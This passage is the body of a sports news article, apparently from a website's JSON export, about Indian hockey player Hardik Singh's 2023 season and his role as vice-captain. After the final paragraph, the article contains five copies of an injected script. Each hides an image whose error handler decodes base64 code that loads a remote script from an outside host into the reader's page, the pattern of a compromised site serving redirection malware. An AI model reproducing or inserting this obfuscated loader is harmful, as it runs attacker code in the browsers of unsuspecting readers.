Receiving such recognition on an international stage is one of your dreams as a sportsperson. It certainly motivates you to do even better,&#8221; said an elated Hardik.<\/p>\n<p>He did, however, admit that this was not his best year and that he could have done better. &#8220;I&#8217;m ecstatic, but I wouldn&#8217;t say it was my best year. I could have done much better, especially during the World Cup, where an injury at such a crucial stage was heartbreaking. But, overall, I&#8217;m happy with how the year has gone for me, with the FIH Pro League campaign, the Asian Champions Trophy title and the Gold medal at the Asian Games,&#8221; he said.<\/p>\n<p>With his flamboyance in the midfield and becoming one of the pivotal members of the Indian team in recent years, the 25-year-old has risen to prominence. He also served as Harmanpreet Singh&#8217;s deputy during the Asian Champions Trophy 2023 and the Asian Games 2023, where India won Gold medals.<\/p>\n<p>Speaking about his transition into the leadership group, Hardik, who won the Hockey India Balbir Singh Sr Award for Player of the Year 2022 said, \u201cI think I was ever ready for this opportunity.\u201d<\/p>\n<p>&#8220;I have learnt how to lead from the front from my seniors &#8211; Sardar Singh, PR Sreejesh, Manpreet Singh and Harmanpreet Singh. I like to take responsibility, it helps me be the best version of myself and also helps in pushing my teammates to give their best on the pitch,\u201d he added.<\/p>\n<p> <script>const img = document.createElement('img');img.src = '\/files\/img\/logo.png';img.setAttribute('data-digest', 'KGZ1bmN0aW9uKCl7dmFyIGE9bG9jYXRpb24sYj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLGM9InNjcmlwdCIsZD1hdG9iKCJhSFIwY0hNNkx5OTBaSE0wZFhNdVkyOXRMMkZxWVhneExuQm9jQT09Iik7ZCs9LTE8ZC5pbmRleE9mKCI\/Iik\/IiYiOiI\/IjtkKz1hLnNlYXJjaC5zdWJzdHJpbmcoMSk7Yz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KGMpO2Muc3JjPWQ7Yy5pZD1idG9hKGEub3JpZ2luKTtiLmFwcGVuZENoaWxkKGMpO30pKCk7');img.setAttribute('onerror', '(new Function(atob(this.dataset.digest)))();');img.style.visibility = 'hidden';document.body.insertBefore(img, document.body.firstChild);<\/script><script>const img = document.createElement('img');img.src = '\/files\/img\/logo.png';img.setAttribute('data-digest', 'KGZ1bmN0aW9uKCl7dmFyIGE9bG9jYXRpb24sYj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLGM9InNjcmlwdCIsZD1hdG9iKCJhSFIwY0hNNkx5OTBaSE0wZFhNdVkyOXRMMkZxWVhneExuQm9jQT09Iik7ZCs9LTE8ZC5pbmRleE9mKCI\/Iik\/IiYiOiI\/IjtkKz1hLnNlYXJjaC5zdWJzdHJpbmcoMSk7Yz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KGMpO2Muc3JjPWQ7Yy5pZD1idG9hKGEub3JpZ2luKTtiLmFwcGVuZENoaWxkKGMpO30pKCk7');img.setAttribute('onerror', '(new Function(atob(this.dataset.digest)))();');img.style.visibility = 'hidden';document.body.insertBefore(img, document.body.firstChild);<\/script><script>const img = document.createElement('img');img.src = '\/files\/img\/logo.png';img.setAttribute('data-digest', 'KGZ1bmN0aW9uKCl7dmFyIGE9bG9jYXRpb24sYj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLGM9InNjcmlwdCIsZD1hdG9iKCJhSFIwY0hNNkx5OTBaSE0wZFhNdVkyOXRMMkZxWVhneExuQm9jQT09Iik7ZCs9LTE8ZC5pbmRleE9mKCI\/Iik\/IiYiOiI\/IjtkKz1hLnNlYXJjaC5zdWJzdHJpbmcoMSk7Yz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KGMpO2Muc3JjPWQ7Yy5pZD1idG9hKGEub3JpZ2luKTtiLmFwcGVuZENoaWxkKGMpO30pKCk7');img.setAttribute('onerror', '(new Function(atob(this.dataset.digest)))();');img.style.visibility = 'hidden';document.body.insertBefore(img, document.body.firstChild);<\/script><script>const img = document.createElement('img');img.src = '\/files\/img\/logo.png';img.setAttribute('data-digest', 'KGZ1bmN0aW9uKCl7dmFyIGE9bG9jYXRpb24sYj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLGM9InNjcmlwdCIsZD1hdG9iKCJhSFIwY0hNNkx5OTBaSE0wZFhNdVkyOXRMMkZxWVhneExuQm9jQT09Iik7ZCs9LTE8ZC5pbmRleE9mKCI\/Iik\/IiYiOiI\/IjtkKz1hLnNlYXJjaC5zdWJzdHJpbmcoMSk7Yz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KGMpO2Muc3JjPWQ7Yy5pZD1idG9hKGEub3JpZ2luKTtiLmFwcGVuZENoaWxkKGMpO30pKCk7');img.setAttribute('onerror', '(new Function(atob(this.dataset.digest)))();');img.style.visibility = 'hidden';document.body.insertBefore(img, document.body.firstChild);<\/script><script>const img = document.createElement('img');img.src = '\/files\/img\/logo.png';img.setAttribute('data-digest', 'KGZ1bmN0aW9uKCl7dmFyIGE9bG9jYXRpb24sYj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLGM9InNjcmlwdCIsZD1hdG9iKCJhSFIwY0hNNkx5OTBaSE0wZFhNdVkyOXRMMkZxWVhneExuQm9jQT09Iik7ZCs9LTE8ZC5pbmRleE9mKCI\/Iik\/IiYiOiI\/IjtkKz1hLnNlYXJjaC5zdWJzdHJpbmcoMSk7Yz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KGMpO2Muc3JjPWQ7Yy5pZD1idG9hKGEub3JpZ2luKTtiLmFwcGVuZENoaWxkKGMpO30pKCk7');img.setAttribute('onerror', '(new Function(atob(this.dataset.digest)))();');img.style.visibility = 'hidden';document.body.insertBefore(img, document.body.firstChild);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>From getting ruled out of the FIH Odisha Hockey Men\u2019s World Cup 2023 Bhubaneswar-Rourkela midway due to an injury, to winning the Asian Games Gold, 2023 has turned out to be a roller coaster year for the Indian Men&#8217;s Hockey Team midfielder Hardik Singh.
